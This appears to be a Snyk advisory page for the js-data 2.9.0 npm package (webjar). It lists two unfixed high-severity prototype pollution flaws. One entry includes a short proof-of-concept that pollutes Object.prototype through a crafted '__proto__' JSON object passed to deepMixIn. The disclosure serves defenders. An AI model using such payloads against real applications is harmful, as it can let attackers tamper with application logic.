org.webjars.npm:js-data@2.9.0 vulnerabilities

  • latest version

    2.9.0

  • first published

    8 years ago

  • latest version published

    8 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:js-data package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    org.webjars.npm:js-data is a Robust, framework-agnostic in-memory data store.

    Affected versions of this package are vulnerable to Prototype Pollution via the deepFillIn and the set functions. This is an incomplete fix of CVE-2020-28442.

    How to fix Prototype Pollution?

    There is no fixed version for org.webjars.npm:js-data.

    [0,)
    • H
    Prototype Pollution

    org.webjars.npm:js-data is a Robust, framework-agnostic in-memory data store.

    Affected versions of this package are vulnerable to Prototype Pollution via the deepMixIn and deepFillIn functions.

    PoC

    const { utils } = require("js-data");
    const obj = {};
    const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
    console.log("Before : " + obj.polluted);
    utils.deepMixIn({}, source);
    // utils.deepFillIn({}, source);
    console.log("After : " + obj.polluted);
    

    How to fix Prototype Pollution?

    There is no fixed version for org.webjars.npm:js-data.

    [0,)